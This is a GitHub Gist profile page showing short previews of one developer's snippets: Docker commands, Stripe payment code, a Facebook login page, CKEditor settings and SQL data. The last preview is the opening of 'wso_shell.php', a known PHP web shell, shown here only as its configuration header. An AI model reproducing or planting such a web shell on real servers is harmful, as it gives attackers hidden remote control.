Skip to content

Instantly share code, notes, and snippets.

View fhdalikhan's full-sized avatar
🏠
Working from home

Fahad Ali Khan fhdalikhan

🏠
Working from home
  • Karachi, Pakistan.
View GitHub Profile
@fhdalikhan
fhdalikhan / docker-cmds.txt
Created May 29, 2020 13:39
Docker Commands
# to create a build
docker-compose build
# to run containers in detached mode
docker-compose up -d
# to stop containers
docker-compose down
# to push a new tag to the repository,
@fhdalikhan
fhdalikhan / stripe-form.html
Created May 20, 2020 13:35
Stripe payment form
<style>
/**
* The CSS shown here will not be introduced in the Quickstart guide, but shows
* how you can use CSS to style your Element's container.
*/
.StripeElement {
box-sizing: border-box;
height: 40px;
@fhdalikhan
fhdalikhan / SubscriptionController.php
Created May 20, 2020 13:20
Stripe Subscription Controller
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Auth;
use Carbon\Carbon;
use App\PaymentSripeSubscription;
use Stripe\Stripe;
use Stripe\Product;
@fhdalikhan
fhdalikhan / table-search.html
Created April 12, 2020 15:44
Search inside table example
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<div class="second">
<div class="container">
<div class="row">
@fhdalikhan
fhdalikhan / fb-loign-js.html
Created April 8, 2020 18:22
Facebook login via js
<!DOCTYPE html>
<html>
<head>
<title> Website - Welcome
</title>
</head>
<body>
@fhdalikhan
fhdalikhan / help.js
Created March 17, 2020 21:25
ckeditor allow all tags and their css classes etc and stop editor creating an empty paragraph along with option to insert paragraph when it is disabled
CKEDITOR.replace( 'ck-editor', {
allowedContent: true
};
CKEDITOR.editorConfig = function( config ) {
config.enterMode = 2;
};
And this will give you both the <p> and <br> tag when needed but does not prevent
the start and stop <p> tag
@fhdalikhan
fhdalikhan / countries_state_cities_db.sql
Last active September 1, 2020 18:46
SQL of Countries, States and Cities.
This file has been truncated, but you can view the full file.
/*
SQLyog Ultimate v12.09 (64 bit)
*********************************************************************
*/
/*!40101 SET NAMES utf8 */;
/*!40101 SET SQL_MODE=''*/;
@fhdalikhan
fhdalikhan / copy-test.php
Created February 4, 2020 10:11
Copy folder recursively to another folder, NOT TESTED
<?php
#
# UNTESTED
#
$source = __DIR__;
$dest= __DIR__. DIRECTORY_SEPARATOR .'..' . DIRECTORY_SEPARATOR .'copied';
mkdir($dest, 0755);
@fhdalikhan
fhdalikhan / index.html
Created September 11, 2019 13:40
millicast.com paid webtrc service for video broadcasting
<!DOCTYPE html>
<html>
<head>
<title></title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
</head>
<body>
<div id="messages">
@fhdalikhan
fhdalikhan / wso_shell.php
Created September 10, 2019 08:57
WSO Shell Script PHP
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (!empty($_SERVER['HTTP_USER_AGENT'])) {